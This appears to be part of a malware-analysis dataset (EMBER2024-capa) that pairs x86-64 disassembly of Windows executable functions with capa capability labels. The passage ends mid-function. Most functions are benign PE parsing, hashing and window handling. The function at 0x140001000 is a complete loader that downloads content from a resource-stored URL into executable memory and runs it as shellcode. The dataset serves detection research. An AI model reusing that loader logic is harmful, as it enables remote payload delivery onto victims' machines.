joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6c0d40
Capabilities:
Enumerate gui resources

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x50
mov rbp, rsp
mov rbx, rcx
mov rax, qword [rbx + 0x2d0]
test rax, rax
je 0x6c0e1f
cmp dword [rbx + 0x128], 0
jne 0x6c0e15
mov qword [rbp + 0x40], rax
mov byte [rbp + 0x48], dl
lea rcx, [0x006c0c40]
lea rdx, [rbp + 0x40]
call sub.user32.dll_EnumWindows
mov rax, qword [rbx + 0x120]
cmp dword [rax + 0x10], 0
je 0x6c0e15
mov rcx, qword [rbp + 0x40]
mov edx, 3
call sub.user32.dll_GetWindow
mov qword [rbp + 0x40], rax
mov rcx, qword [rbp + 0x40]
mov edx, 0xffffffec
call sub.user32.dll_GetWindowLongPtrW
test rax, 8
je 0x6c0dc3
mov qword [rbp + 0x40], 0xfffffffffffffffe
mov rax, qword [rbx + 0x120]
mov esi, dword [rax + 0x10]
sub esi, 1
test esi, esi
jl 0x6c0e14
mov rcx, qword [rbx + 0x120]
mov edx, esi
call fcn.0048a200
mov rcx, rax
mov rdx, qword [rbp + 0x40]
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x30], 0x213
call sub.user32.dll_SetWindowPos
sub esi, 1
cmp esi, 0xffffffff
jne 0x6c0dd4
nop
lea rax, [rbx + 0x128]
add dword [rax], 1
lea rsp, [rbp + 0x50]
pop rbx
pop rsi
pop rbp
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create http request
Create thread
Execute shellcode via indirect call
Extract resource via kernel32 functions
Get http content length
Read data from internet
Receive data
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x40
xor r14d, r14d
xor ecx, ecx
mov ebp, r14d
lea edx, [r14 + 0x64]
lea r8d, [r14 + 0xa]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x1400010d8
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
je 0x1400010d8
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_LockResource]
lea ecx, [rbx + 1]
mov rdi, rax
call fcn.1400011ec
mov r8d, ebx
mov rdx, rdi
mov rcx, rax
mov rsi, rax
call sub.VCRUNTIME140.dll_memcpy
xor r9d, r9d
mov byte [rbx + rsi], bpl
xor r8d, r8d
mov dword [rsp + 0x20], r14d
lea edx, [r14 + 1]
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
je 0x1400010d8
mov qword [rsp + 0x28], r14
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x4000000
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x1400010e0
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rsi, r14
jmp 0x140001174
lea r9, [rsp + 0x30]
mov qword [rsp + 0x38], r14
lea r8, [rsp + 0x38]
mov dword [rsp + 0x30], 8
mov edx, 0x20000005
mov qword [rsp + 0x20], r14
mov rcx, rbx
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x140001120
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400010d8
call fcn.1400011ec
mov r8d, dword [rsp + 0x38]
lea r9, [rsp + 0x34]
mov rdx, rax
mov dword [rsp + 0x34], r14d
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14000115e
mov rcx, rsi
call fcn.1400011e4
mov rsi, r14
jmp 0x140001174
mov ebp, dword [rsp + 0x38]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movsxd rbx, ebp
mov r9d, 0x40
mov rdx, rbx
mov r8d, 0x3000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rbx
mov rdx, rsi
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memmove
xor r9d, r9d
mov qword [rsp + 0x28], r14
mov r8, rdi
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
jmp qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
Function at 0x140001998
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019e2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019e2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019e2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019e2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019e2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019e4
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14017f200]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14017f210]
mov dword [rax], 1
mov rax, qword [0x14017f220]
mov dword [rax], 1
mov rax, qword [0x14017f1b0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14017f1f0]
mov dword [0x14019400c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14017f2d0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14017f2b0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14017f160]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140005670
Capabilities:
Encode data using xor
Encrypt data using aes

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x218
mov r15, rdx
mov rsi, rcx
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x100], xmm0
movdqa xmmword [rsp + 0xf0], xmm0
movdqa xmmword [rsp + 0xe0], xmm0
movdqa xmmword [rsp + 0xd0], xmm0
movdqa xmmword [rsp + 0xc0], xmm0
movdqa xmmword [rsp + 0xb0], xmm0
movdqa xmmword [rsp + 0xa0], xmm0
movdqa xmmword [rsp + 0x90], xmm0
movdqa xmmword [rsp + 0x80], xmm0
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x110], 0xa
movdqu xmm1, xmmword [rdx]
movdqa xmm2, xmm1
punpckhbw xmm2, xmm0
pshuflw xmm2, xmm2, 0x1b
pshufhw xmm2, xmm2, 0x1b
punpcklbw xmm1, xmm0
pshuflw xmm0, xmm1, 0x1b
pshufhw xmm0, xmm0, 0x1b
packuswb xmm0, xmm2
movdqa xmmword [rsp + 0x20], xmm0
movd edi, xmm0
xor ecx, ecx
lea rdx, [0x140146810]
lea r8, [0x140146c10]
lea r9, [0x140147010]
lea r10, [0x140147410]
lea r11, [0x140147810]
nop word [rax + rax]
mov ebx, dword [rsp + rcx*4 + 0x2c]
mov ebp, ebx
shr ebp, 0x10
movzx r14d, bpl
movzx ebp, byte [rdx + r14*4 + 3]
shl ebp, 0x18
movzx eax, bh
movzx eax, byte [r8 + rax*4 + 2]
shl eax, 0x10
xor eax, edi
xor eax, ebp
movzx edi, bl
movzx ebp, byte [r9 + rdi*4 + 1]
shl ebp, 8
mov edi, ebx
shr edi, 0x18
movzx edi, byte [r10 + rdi*4]
xor edi, ebp
xor edi, eax
xor edi, dword [rcx + r11]
mov dword [rsp + rcx*4 + 0x30], edi
mov eax, dword [rsp + rcx*4 + 0x24]
xor eax, edi
mov dword [rsp + rcx*4 + 0x34], eax
xor eax, dword [rsp + rcx*4 + 0x28]
mov dword [rsp + rcx*4 + 0x38], eax
xor eax, ebx
mov dword [rsp + rcx*4 + 0x3c], eax
add rcx, 4
cmp rcx, 0x28
jne 0x140005760
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x200], xmm0
movdqa xmmword [rsp + 0x1f0], xmm0
movdqa xmmword [rsp + 0x1e0], xmm0
movdqa xmmword [rsp + 0x1d0], xmm0
movdqa xmmword [rsp + 0x1c0], xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
movdqa xmmword [rsp + 0x170], xmm0
movdqa xmmword [rsp + 0x160], xmm0
movdqa xmmword [rsp + 0x150], xmm0
movdqa xmmword [rsp + 0x140], xmm0
movdqa xmmword [rsp + 0x130], xmm0
movdqa xmmword [rsp + 0x120], xmm0
mov byte [rsp + 0x210], 0
lea rdi, [rsp + 0x120]
mov edx, 0x10
mov rcx, r15
mov r8w, pe_nt_image_headers64
mov r9, rdi
call sym.libaes::aes_set_decrypt_key::h6e8cdba5b7f3379b
lea rdx, [rsp + 0x20]
mov r8d, 0xf4
mov rcx, rsi
call sym.memcpy
mov rcx, rsi
add rcx, 0xf4
mov r8d, 0xf4
mov rdx, rdi
call sym.memcpy
mov rax, rsi
add rsp, 0x218
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x1400082c0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x140008302
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 3
jbe 0x14000830a
mov esi, dword [rdx]
mov r9d, 4
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jb 0x14000831b
jmp 0x140008332
xor r10d, r10d
jmp 0x1400083bd
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x140008332
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x140008349
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x140008369
add r11, r8
jmp 0x14000849a
mov r11, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r9
rol r9, 0xd
xor r11, rsi
xor r9, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r11
rol r11, 0x10
xor r11, rdi
add rcx, r11
rol r11, 0x15
xor r11, rcx
add rdi, r9
rol r9, 0x11
mov qword [rax + 0x18], r11
xor r9, rdi
rol rdi, 0x20
mov qword [rax + 0x10], r9
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x140008432
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop
add rcx, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, rcx
rol rcx, 0x20
xor rdi, rbx
add r9, rdi
rol rdi, 0x10
xor rdi, r9
add rcx, rdi
rol rdi, 0x15
add r9, rsi
rol rsi, 0x11
xor rsi, r9
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x1400083e0
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 3
jbe 0x140008450
mov r9d, dword [rdx + r10]
mov r8d, 4
mov rcx, r8
or rcx, 1
cmp rcx, r11
jb 0x140008462
jmp 0x14000847c
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x14000847c
lea rcx, [r8 + r10]
movzx esi, word [rdx + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x140008496
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x140008d40
Capabilities:
Read file via mapping

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x90
mov rsi, rcx
add r8, rdx
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x80], r8
mov word [rsp + 0x88], 0
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x78]
call sym._ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17h6e72eab8ad
mov rdx, qword [rsp + 0x50]
cmp rdx, qword [rsp + 0x48]
jne 0x140008d91
lea rcx, [rsp + 0x40]
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::hb3699507705cbd34
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x40]
mov word [rax + rdx*2], 0
inc qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call sub.KERNEL32.dll_CreateFileW
mov rbx, rax
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x140008df2
mov rcx, qword [rsp + 0x40]
add rdx, rdx
mov r8d, 2
call sym.__rust_dealloc
cmp rbx, 0xffffffffffffffff
je 0x140008e93
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rbx
xor edx, edx
mov r8d, 2
xor r9d, r9d
call sub.KERNEL32.dll_CreateFileMappingW
mov rdi, rax
mov rcx, rbx
call fcn.1400ddb14
test rdi, rdi
je 0x140008e93
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_MapViewOfFile
test rax, rax
je 0x140008eb9
mov rbx, rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
mov r8d, 0x30
mov rcx, rax
call sub.KERNEL32.dll_VirtualQuery
mov rax, qword [rsp + 0x58]
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rdi
mov qword [rsi], 0
jmp 0x140008eab
call sym.std::sys::windows::os::errno::h92e81c83b4bbfeb7
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rax, rsi
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
call sym.std::sys::windows::os::errno::h92e81c83b4bbfeb7
mov ebx, eax
shl rbx, 0x20
or rbx, 2
mov rcx, rdi
call fcn.1400ddb14
mov qword [rsi + 8], rbx
jmp 0x140008ea4

Function at 0x140009300
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, rcx
mov r14, qword [rdx + 8]
cmp r14, 2
jb 0x14000936e
mov ebp, dword [rdx + 0x10]
mov r15, qword [rdx]
lea rdi, sym._ZN4core3ptr55drop_in_place_LT_pelite..rich_structure..RichRecord_GT_17h6707ab43114a8d54E.llvm.9664944894006809541
lea rbx, [rsp + 0x20]
nop dword [rax + rax]
mov eax, dword [r15]
xor eax, ebp
movzx ecx, ax
and eax, 0xffff0000
mov edx, dword [r15 + 4]
xor edx, ebp
shl rdx, 0x20
or rax, rdx
or rcx, rax
add r14, 0xfffffffffffffffe
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call sym.core::fmt::builders::DebugSet::entry::h81fb8ea589ff478a
add r15, 8
cmp r14, 1
ja 0x140009330
mov rax, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x14000cc80
Capabilities:
Enumerate pe sections

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov rax, rcx
test r9, r9
je 0x14000ccce
mov ecx, dword [rdx + 0x3c]
lea r11, [rdx + rcx]
sub r9, qword [r11 + 0x30]
jb 0x14000cd69
mov r10d, dword [r11 + 0x50]
cmp r9, r10
ja 0x14000cd69
mov r10, qword [rsp + 0x70]
mov esi, r9d
add rsi, rdx
dec r10
test rsi, r10
je 0x14000ccd7
mov byte [rax + 8], 4
jmp 0x14000cd6d
mov byte [rax + 8], 0
jmp 0x14000cd6d
mov r10, qword [rsp + 0x68]
lea r12, [rdx + rcx]
add r12, 0x18
movzx ebx, word [r11 + 0x14]
add r12, rbx
movzx r11d, word [r11 + 6]
shl r11, 3
lea r15, [r11 + r11*4]
xor r14d, r14d
nop dword [rax]
cmp r15, r14
je 0x14000cd69
lea r13, [r12 + 0x28]
mov esi, dword [r12 + 8]
mov ebp, dword [r12 + 0xc]
mov r11d, dword [r12 + 0x10]
cmp esi, r11d
cmovbe esi, r11d
add r14, 0x28
mov edi, r9d
mov r12, r13
sub edi, ebp
jb 0x14000cd00
add esi, ebp
mov r12, r13
sub esi, r9d
jbe 0x14000cd00
add rcx, rbx
add rcx, rdx
mov ecx, dword [r14 + rcx + 4]
add r11d, ecx
jb 0x14000cd81
cmp r11, r8
ja 0x14000cd81
sub r11, rcx
sub r11, rdi
jb 0x14000cd87
cmp r11, r10
jb 0x14000cd87
add rdx, rcx
add rdx, rdi
mov qword [rax], rdx
mov qword [rax + 8], r11
jmp 0x14000cd74
mov byte [rax + 8], 1
mov qword [rax], 0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rax + 8], 8
jmp 0x14000cd6d
cmp rsi, r10
mov cl, 2
sbb cl, 0
mov byte [rax + 8], cl
jmp 0x14000cd6d

Function at 0x14000cda0
Capabilities:
Parse pe header

Disassembly:
push rsi
push rdi
mov r8d, 0x100
mov eax, 1
cmp rdx, 0x40
jb 0x14000cea2
test cl, 3
je 0x14000cdc7
mov r8d, 0x400
jmp 0x14000cea2
movzx r9d, word [rcx]
cmp r9d, 0x5a4d
jne 0x14000ce9c
mov r9d, dword [rcx + 0x3c]
test r9b, 3
jne 0x14000cdbc
cmp r9d, 0x1000000
jbe 0x14000cdf6
mov r8d, 0x700
jmp 0x14000cea2
lea r11, [r9 + 0x88]
cmp r11, rdx
ja 0x14000cea2
cmp dword [rcx + r9], 0x4550
jne 0x14000ce9c
movzx esi, word [rcx + r9 + 0x18]
cmp esi, 0x20b
je 0x14000ce2a
cmp esi, 0x10b
jne 0x14000ce9c
mov edi, dword [rcx + r9 + 0x54]
cmp rdi, rdx
ja 0x14000cea2
mov r10d, dword [rcx + r9 + 0x50]
cmp edi, r10d
ja 0x14000cdeb
movzx esi, si
cmp esi, 0x20b
jne 0x14000cea8
mov esi, dword [rcx + r9 + 0x84]
cmp esi, 0x10
mov edi, 0x10
cmovb edi, esi
shl edi, 3
add r11, rdi
cmp r11, rdx
ja 0x14000cea2
movzx r11d, word [rcx + r9 + 6]
cmp r11, 0x60
ja 0x14000cdeb
lea r11, [r11 + r11*4]
lea r11, [r9 + r11*8]
movzx ecx, word [rcx + r9 + 0x14]
add rcx, r11
add rcx, 0x18
cmp rcx, rdx
ja 0x14000cea2
shl r10, 0x20
xor eax, eax
mov r8, r10
jmp 0x14000cea2
mov r8d, 0x500
or rax, r8
pop rdi
pop rsi
ret
mov r8d, 0x600
jmp 0x14000cea2
Function at 0x14000d1e0
Capabilities:
Enumerate pe sections

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov rax, rcx
test r9d, r9d
je 0x14000d210
mov rcx, qword [rsp + 0x70]
mov r10d, r9d
add r10, rdx
dec rcx
test rcx, r10
je 0x14000d219
mov byte [rax + 8], 4
jmp 0x14000d2d1
mov byte [rax + 8], 0
jmp 0x14000d2d1
mov rcx, qword [rsp + 0x68]
mov esi, dword [rdx + 0x3c]
lea r10, [rdx + rsi]
movzx ebx, word [rdx + rsi + 0x14]
lea r12, [rbx + r10]
add r12, 0x18
movzx r10d, word [rdx + rsi + 6]
shl r10, 3
lea r15, [r10 + r10*4]
xor r14d, r14d
nop word cs:[rax + rax]
cmp r15, r14
je 0x14000d2ba
lea r13, [r12 + 0x28]
mov r11d, dword [r12 + 8]
mov ebp, dword [r12 + 0xc]
mov r10d, dword [r12 + 0x10]
cmp r11d, r10d
cmovbe r11d, r10d
add r14, 0x28
mov edi, r9d
mov r12, r13
sub edi, ebp
jb 0x14000d250
add r11d, ebp
mov r12, r13
sub r11d, r9d
jbe 0x14000d250
add rsi, rbx
add rsi, rdx
mov r9d, dword [r14 + rsi + 4]
add r10d, r9d
jb 0x14000d2c0
cmp r10, r8
ja 0x14000d2c0
sub r10, r9
sub r10, rdi
jb 0x14000d2c6
cmp r10, rcx
jb 0x14000d2c6
add rdx, r9
add rdx, rdi
mov qword [rax], rdx
mov qword [rax + 8], r10
jmp 0x14000d2d8
mov byte [rax + 8], 1
jmp 0x14000d2d1
mov byte [rax + 8], 8
jmp 0x14000d2d1
cmp r11, rcx
mov cl, 2
sbb cl, 0
mov byte [rax + 8], cl
mov qword [rax], 0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x14000d2f0
Capabilities:
Enumerate pe sections

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov rax, rcx
test r9d, r9d
je 0x14000d33c
mov r10d, dword [rdx + 0x3c]
lea r11, [rdx + r10]
sub r9d, dword [r11 + 0x34]
jb 0x14000d3d9
cmp r9d, dword [r11 + 0x50]
ja 0x14000d3d9
mov rcx, qword [rsp + 0x70]
mov esi, r9d
add rsi, rdx
dec rcx
test rsi, rcx
je 0x14000d345
mov byte [rax + 8], 4
jmp 0x14000d3dd
mov byte [rax + 8], 0
jmp 0x14000d3dd
mov rcx, qword [rsp + 0x68]
lea r12, [rdx + r10]
add r12, 0x18
movzx ebx, word [r11 + 0x14]
add r12, rbx
movzx r11d, word [r11 + 6]
shl r11, 3
lea r15, [r11 + r11*4]
xor r14d, r14d
nop word [rax + rax]
cmp r15, r14
je 0x14000d3d9
lea r13, [r12 + 0x28]
mov esi, dword [r12 + 8]
mov ebp, dword [r12 + 0xc]
mov r11d, dword [r12 + 0x10]
cmp esi, r11d
cmovbe esi, r11d
add r14, 0x28
mov edi, r9d
mov r12, r13
sub edi, ebp
jb 0x14000d370
add esi, ebp
mov r12, r13
sub esi, r9d
jbe 0x14000d370
add r10, rbx
add r10, rdx
mov r9d, dword [r14 + r10 + 4]
add r11d, r9d
jb 0x14000d3f1
cmp r11, r8
ja 0x14000d3f1
sub r11, r9
sub r11, rdi
jb 0x14000d3f7
cmp r11, rcx
jb 0x14000d3f7
add rdx, r9
add rdx, rdi
mov qword [rax], rdx
mov qword [rax + 8], r11
jmp 0x14000d3e4
mov byte [rax + 8], 1
mov qword [rax], 0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rax + 8], 8
jmp 0x14000d3dd
cmp rsi, rcx
mov cl, 2
sbb cl, 0
mov byte [rax + 8], cl
jmp 0x14000d3dd
Function at 0x14000d410
Capabilities:
Parse pe header

Disassembly:
push rsi
push rdi
push rbx
mov r8d, 0x100
mov eax, 1
cmp rdx, 0x40
jb 0x14000d51d
test cl, 3
je 0x14000d438
mov r8d, 0x400
jmp 0x14000d51d
movzx r9d, word [rcx]
cmp r9d, 0x5a4d
jne 0x14000d517
mov r9d, dword [rcx + 0x3c]
test r9b, 3
jne 0x14000d42d
cmp r9d, 0x1000000
jbe 0x14000d467
mov r8d, 0x700
jmp 0x14000d51d
lea r11, [r9 + 0x78]
cmp r11, rdx
ja 0x14000d51d
cmp dword [rcx + r9], 0x4550
jne 0x14000d517
movzx edi, word [rcx + r9 + 0x18]
cmp edi, 0x20b
je 0x14000d498
cmp edi, 0x10b
jne 0x14000d517
mov esi, dword [rcx + r9 + 0x54]
cmp rsi, rdx
ja 0x14000d51d
mov r10d, dword [rcx + r9 + 0x50]
xor ebx, ebx
cmp esi, r10d
seta bl
movzx edi, di
or rbx, 6
shl rbx, 8
cmp edi, 0x10b
jne 0x14000d524
cmp esi, r10d
ja 0x14000d524
mov esi, dword [rcx + r9 + 0x74]
cmp esi, 0x10
mov edi, 0x10
cmovb edi, esi
shl edi, 3
add r11, rdi
cmp r11, rdx
ja 0x14000d51d
movzx r11d, word [rcx + r9 + 6]
cmp r11, 0x60
ja 0x14000d45c
lea r11, [r11 + r11*4]
lea r11, [r9 + r11*8]
movzx ecx, word [rcx + r9 + 0x14]
add rcx, r11
add rcx, 0x18
cmp rcx, rdx
ja 0x14000d51d
shl r10, 0x20
xor eax, eax
mov r8, r10
jmp 0x14000d51d
mov r8d, 0x500
or rax, r8
pop rbx
pop rdi
pop rsi
ret
mov r8, rbx
jmp 0x14000d51d

Function at 0x140018b70
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rdx, qword [rcx + 0x18]
lea rax, [rdx - 2]
cmp rax, 4
jb 0x140018c9a
cmp rdx, 2
jb 0x140018cb0
mov rsi, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
lea r11, [rdx - 6]
mov r10d, dword [r9 + 4]
lea eax, [rsi*4]
test rsi, rsi
je 0x140018c12
mov rdi, qword [rcx]
shl rsi, 2
xor r8d, r8d
jmp 0x140018c01
movaps xmmword [rsp + 0x20], xmm0
movzx ebx, byte [rsp + 0x20]
mov ecx, r8d
rol ebx, cl
movzx ebp, byte [rsp + 0x21]
lea ecx, [r8 + 1]
rol ebp, cl
add eax, ebx
movzx ebx, byte [rsp + 0x22]
lea ecx, [r8 + 2]
rol ebx, cl
add ebx, ebp
add ebx, eax
movzx eax, byte [rsp + 0x23]
lea ecx, [r8 + 3]
rol eax, cl
add eax, ebx
add r8, 4
cmp rsi, r8
je 0x140018c12
xorps xmm0, xmm0
cmp r8d, 0x3c
je 0x140018bc0
movss xmm0, dword [rdi + r8]
jmp 0x140018bc0
cmp r11, 2
jb 0x140018c91
test dl, 2
jne 0x140018c45
mov r8d, dword [r9 + 0x10]
xor r8d, r10d
mov ecx, dword [r9 + 0x14]
xor ecx, r10d
lea r11, [rdx - 8]
add r9, 0x18
rol r8d, cl
add eax, r8d
and rdx, 0xfffffffffffffffe
cmp rdx, 8
jne 0x140018c60
jmp 0x140018c91
add r9, 0x10
and rdx, 0xfffffffffffffffe
cmp rdx, 8
je 0x140018c91
nop word cs:[rax + rax]
mov edx, dword [r9]
xor edx, r10d
mov ecx, dword [r9 + 4]
xor ecx, r10d
rol edx, cl
add edx, eax
mov eax, dword [r9 + 8]
xor eax, r10d
mov ecx, dword [r9 + 0xc]
xor ecx, r10d
rol eax, cl
add r11, 0xfffffffffffffffc
add eax, edx
add r9, 0x10
cmp r11, 1
ja 0x140018c60
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
ret
lea r8, str._Users_mrx_.cargo_registry_src_index.crates.io_6f17d22bba15001f_pelite_0.9.2_src_rich_structure.rs
mov ecx, 4
mov rdx, rax
call dbg.slice_index_order_fail
ud2
lea r8, str._Users_mrx_.cargo_registry_src_index.crates.io_6f17d22bba15001f_pelite_0.9.2_src_rich_structure.rs
mov rcx, rax
call dbg.slice_end_index_len_fail
ud2
Function at 0x140019320
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, rcx
lea rcx, [rsp + 0x28]
call sym.core::fmt::Formatter::debug_list::h5118bd811ac986dd
mov r14, qword [rsi + 8]
cmp r14, 2
